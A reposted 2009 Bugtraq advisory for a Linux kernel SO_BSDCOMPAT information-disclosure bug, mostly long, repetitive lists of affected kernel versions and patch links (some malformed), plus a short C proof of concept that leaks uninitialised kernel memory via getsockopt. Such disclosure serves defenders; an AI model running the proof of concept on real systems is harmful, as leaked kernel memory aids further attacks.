No account yet?
Home » Exploits » Linux Kernel 'sock.c' SO_BSDCOMPAT Option Information Disclosure Vulnerability
Linux Kernel 'sock.c' SO_BSDCOMPAT Option Information Disclosure Vulnerability E-mail
Feeds - Exploits
Written by Clement Lecigne   
Friday, 20 February 2009 19:56
Linux Kernel 'sock.c' SO_BSDCOMPAT Option Information Disclosure Vulnerability


-\\Bugtraq ID:
33846

-\\Class:
Design Error

-\\CVE:


-\\Remote:
No

-\\Local:
Yes

-\\Published:
Feb 20 2009 12:00AM

-\\Updated:
Feb 20 2009 12:00AM

-\\Credit:
Clement Lecigne



-\\Vulnerable:
Linux kernel 2.6.28 5
Linux kernel 2.6.28 3
Linux kernel 2.6.28 2
Linux kernel 2.6.28 1
Linux kernel 2.6.28 -rc7
Linux kernel 2.6.28 -rc5
Linux kernel 2.6.28 -rc1
Linux kernel 2.6.28 -git7
Linux kernel 2.6.28
Linux kernel 2.6.27 6
Linux kernel 2.6.27 3
Linux kernel 2.6.27 14
Linux kernel 2.6.27 13
Linux kernel 2.6.27 12
Linux kernel 2.6.27 12
Linux kernel 2.6.27 .8
Linux kernel 2.6.27 .5
Linux kernel 2.6.27 .5
Linux kernel 2.6.27 -rc8-git5
Linux kernel 2.6.27 -rc8
Linux kernel 2.6.27 -rc6-git6
Linux kernel 2.6.27 -rc6
Linux kernel 2.6.27 -rc5
Linux kernel 2.6.27 -rc2
Linux kernel 2.6.27 -rc1
Linux kernel 2.6.27
Linux kernel 2.6.26 7
Linux kernel 2.6.26 4
Linux kernel 2.6.26 3
Linux kernel 2.6.26 .6
Linux kernel 2.6.26 -rc6
Linux kernel 2.6.26
Linux kernel 2.6.25 19
Linux kernel 2.6.25 .9
Linux kernel 2.6.25 .8
Linux kernel 2.6.25 .7
Linux kernel 2.6.25 .6
Linux kernel 2.6.25 .5
Linux kernel 2.6.25 .15
Linux kernel 2.6.25 .13
Linux kernel 2.6.25 .12
Linux kernel 2.6.25 .11
Linux kernel 2.6.25 .10
Linux kernel 2.6.25
Linux kernel 2.6.25
Linux kernel 2.6.24 .2
Linux kernel 2.6.24 .1
Linux kernel 2.6.24 -rc5
Linux kernel 2.6.24 -rc4
Linux kernel 2.6.24 -rc3
Linux kernel 2.6.24 -git13
Linux kernel 2.6.24
Linux kernel 2.6.23 .7
Linux kernel 2.6.23 .6
Linux kernel 2.6.23 .5
Linux kernel 2.6.23 .4
Linux kernel 2.6.23 .3
Linux kernel 2.6.23 .2
Linux kernel 2.6.23 -rc2
Linux kernel 2.6.23 -rc1
Linux kernel 2.6.23
Linux kernel 2.6.22 7
Linux kernel 2.6.22 1
Linux kernel 2.6.22 .8
Linux kernel 2.6.22 .6
Linux kernel 2.6.22 .5
Linux kernel 2.6.22 .4
Linux kernel 2.6.22 .3
Linux kernel 2.6.22 .17
Linux kernel 2.6.22 .16
Linux kernel 2.6.22 .15
Linux kernel 2.6.22 .14
Linux kernel 2.6.22 .13
Linux kernel 2.6.22 .12
Linux kernel 2.6.22 .11
Linux kernel 2.6.22
Linux kernel 2.6.22
Linux kernel 2.6.21 4
Linux kernel 2.6.21 .7
Linux kernel 2.6.21 .6
Linux kernel 2.6.21 .2
Linux kernel 2.6.21 .1
Linux kernel 2.6.21
Linux kernel 2.6.21
Linux kernel 2.6.21
Linux kernel 2.6.20 .9
Linux kernel 2.6.20 .8
Linux kernel 2.6.20 .5
Linux kernel 2.6.20 .4
Linux kernel 2.6.20 .15
Linux kernel 2.6.20 -git5
Linux kernel 2.6.20
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.20
Linux kernel 2.6.19 1
Linux kernel 2.6.19 .2
Linux kernel 2.6.19 .1
Linux kernel 2.6.19 -rc4
Linux kernel 2.6.19 -rc3
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.19 -rc2
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.19 -rc1
Linux kernel 2.6.19
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.18 .4
Linux kernel 2.6.18 .3
Linux kernel 2.6.18 .1
Linux kernel 2.6.18
Linux kernel 2.6.17 .8
Linux kernel 2.6.17 .7
Linux kernel 2.6.17 .6
Linux kernel 2.6.17 .5
Linux kernel 2.6.17 .3
Linux kernel 2.6.17 .2
Linux kernel 2.6.17 .14
Linux kernel 2.6.17 .13
Linux kernel 2.6.17 .12
Linux kernel 2.6.17 .11
Linux kernel 2.6.17 .10
Linux kernel 2.6.17 .1
Linux kernel 2.6.17 -rc5
Linux kernel 2.6.17
Linux kernel 2.6.17
Linux kernel 2.6.17
Linux kernel 2.6.17
Linux kernel 2.6.17
Linux kernel 2.6.17
Linux kernel 2.6.16 27
Linux kernel 2.6.16 13
Linux kernel 2.6.16 .9
Linux kernel 2.6.16 .7
Linux kernel 2.6.16 .23
Linux kernel 2.6.16 .19
Linux kernel 2.6.16 .12
Linux kernel 2.6.16 .11
Linux kernel 2.6.16 .1
Linux kernel 2.6.16 -rc1
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.15 .4
Linux kernel 2.6.15 .3
Linux kernel 2.6.15 .2
Linux kernel 2.6.15 .1
Linux kernel 2.6.15 -rc3
Linux kernel 2.6.15 -rc2
Linux kernel 2.6.15 -rc1
Linux kernel 2.6.15
Linux kernel 2.6.15
Linux kernel 2.6.15
Linux kernel 2.6.15
Linux kernel 2.6.15
Linux kernel 2.6.15
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.14 .5
Linux kernel 2.6.14 .4
Linux kernel 2.6.14 .3
Linux kernel 2.6.14 .2
Linux kernel 2.6.14 .1
Linux kernel 2.6.14 -rc4
Linux kernel 2.6.14 -rc3
Linux kernel 2.6.14 -rc2
Linux kernel 2.6.14 -rc1
Linux kernel 2.6.14
Linux kernel 2.6.14
Linux kernel 2.6.13 .4
Linux kernel 2.6.13 .3
Linux kernel 2.6.13 .2
Linux kernel 2.6.13 .1
Linux kernel 2.6.13 -rc7
Linux kernel 2.6.13 -rc6
Linux kernel 2.6.13 -rc4
Linux kernel 2.6.13 -rc1
Linux kernel 2.6.13
Linux kernel 2.6.13
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.12 .6
Linux kernel 2.6.12 .5
Linux kernel 2.6.12 .4
Linux kernel 2.6.12 .3
Linux kernel 2.6.12 .22
Linux kernel 2.6.12 .2
Linux kernel 2.6.12 .12
Linux kernel 2.6.12 .1
Linux kernel 2.6.12 -rc5
Linux kernel 2.6.12 -rc4
Linux kernel 2.6.12 -rc1
Linux kernel 2.6.12
Linux kernel 2.6.12
Linux kernel 2.6.11 .8
Linux kernel 2.6.11 .7
Linux kernel 2.6.11 .6
Linux kernel 2.6.11 .5
Linux kernel 2.6.11 .4
Linux kernel 2.6.11 .12
Linux kernel 2.6.11 .11
Linux kernel 2.6.11 -rc4
Linux kernel 2.6.11 -rc3
Linux kernel 2.6.11 -rc2
Linux kernel 2.6.11
Linux kernel 2.6.11
Linux kernel 2.6.10 rc2
Linux kernel 2.6.10
Linux kernel 2.6.10
Linux kernel 2.6.9
Linux kernel 2.6.8 rc3
Linux kernel 2.6.8 rc2
Linux kernel 2.6.8 rc1
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
Linux kernel 2.6.8
Linux kernel 2.6.7 rc1
Linux kernel 2.6.7
Linux kernel 2.6.6 rc1
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.1 -rc2
Linux kernel 2.6.1 -rc1
Linux kernel 2.6.1
Linux kernel 2.6 .10
Linux kernel 2.6 -test9-CVS
Linux kernel 2.6 -test9
Linux kernel 2.6 -test8
Linux kernel 2.6 -test7
Linux kernel 2.6 -test6
Linux kernel 2.6 -test5
Linux kernel 2.6 -test4
Linux kernel 2.6 -test3
Linux kernel 2.6 -test2
Linux kernel 2.6 -test11
Linux kernel 2.6 -test10
Linux kernel 2.6 -test1
Linux kernel 2.6
Linux kernel  2.6.8.1
+ S.u.S.E. Linux Personal 9.2 x86_64
+ S.u.S.E. Linux Personal 9.2
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
Linux kernel  2.6.28.4
Linux kernel  2.6.26.1
Linux kernel  2.6.26-rc5-git1
Linux kernel  2.6.25.4
Linux kernel  2.6.25.3
Linux kernel  2.6.25.2
Linux kernel  2.6.25.1
Linux kernel  2.6.24.6
Linux kernel  2.6.24-rc2
Linux kernel  2.6.24-rc1
Linux kernel  2.6.23.14
Linux kernel  2.6.23.10
Linux kernel  2.6.23.1
Linux kernel  2.6.23.09
Linux kernel  2.6.22-rc7
Linux kernel  2.6.22-rc1
Linux kernel  2.6.21-RC6
Linux kernel  2.6.21-RC5
Linux kernel  2.6.21-RC4
Linux kernel  2.6.21-RC3
Linux kernel  2.6.21-RC3
Linux kernel  2.6.20.3
Linux kernel  2.6.20.2
Linux kernel  2.6.20.13
Linux kernel  2.6.20.11
Linux kernel  2.6.20.1
Linux kernel  2.6.20-rc2
Linux kernel  2.6.20-2
Linux kernel  2.6.18-8.1.8.el5
Linux kernel  2.6.18-53
Linux kernel  2.6.18
Linux kernel  2.6.15.5
Linux kernel  2.6.15.11
Linux kernel  2.6.15-27.48
Linux kernel  2.6.11.4



-\\Not Vulnerable:
Linux kernel 2.6.28 6



-\\Discussion
The Linux Kernel is prone to an information-disclosure vulnerability because it fails to properly initialize certain memory before using using it in a user-accessible operation.

Successful exploits will allow attackers to view portions of kernel memory. Information harvested may be used in further attacks.

Versions prior to Linux Kernel 2.6.28.6 are vulnerable.



-\\Exploit(s)/PoC(s):
The following exploit code is sufficient to demonstrate this issue:

===============================================================
33846.c
^^^^^^^^
int main(void)
    {
        unsigned char buf[4] = { 0, 0, 0, 0 };
        int len;
        int sock;
        sock = socket(33, 2, 2);
        getsockopt(sock, 1, SO_BSDCOMPAT, &buf, &len);
        printf("%x%x%x%x\n", buf[0], buf[1], buf[2], buf[3]);
        close(sock);
    }




-\\Solution
The vendor has addressed this issue in Kernel 2.6.28.6.  Please see the references for more information.


Linux kernel  2.6.20.2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.21-RC3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.25.3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.23.14
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.11.4
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.20-rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.22-rc1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.20-2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.20.3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.8.1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.25.2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.23.09
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.15-27.48
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.24-rc1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.28.4
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.25.1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.20.13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.22-rc7
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.15.11
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel  2.6.25.4
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6 -test4
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6 -test9
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6 -test10
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.10 rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.11 -rc3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.11 .11
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.11 .7
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.12 .1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.12 -rc4
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.12 .22
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.12 .2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.13 .3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.14 .1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.14 -rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.15
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.15
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.15 -rc3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.15
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.16 .9
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.16 .1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.16 13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.16 .11
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.17 .13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.17 .10
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.17 -rc5
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.17 .14
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.17 .3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.17
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.19 -rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.19
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.19 -rc3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.20
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.20
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.21
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.22 .17
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.22 .4
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.22 .11
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.22 .12
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.22 .13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.23 -rc1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.23 -rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.24 -rc3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.24 -rc5
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.25
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.25 .5
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.25 19
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.25 .11
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.26 3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.26
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.27 -rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.27 6
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.27 -rc8
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.27 13
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.27 -rc6
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.28 5
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.28 3
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.6 rc1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.7
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.8 rc2
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2

Linux kernel 2.6.8 rc1
--Linux  patch-2.6.28.6.bz2
http://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bzhttp://kernel.org/pub/linux/kernel/v2.6/patch-2.6.28.6.bz2



-\\Reference(s)
--Bugzilla Bug 486305: kernel: memory disclosure in SO_BSDCOMPAT gsopt
https://bugzilla.redhat.com/show_bug.cgi?id=48630  (Eugene Teo)
--ChangeLog-2.6.28.6
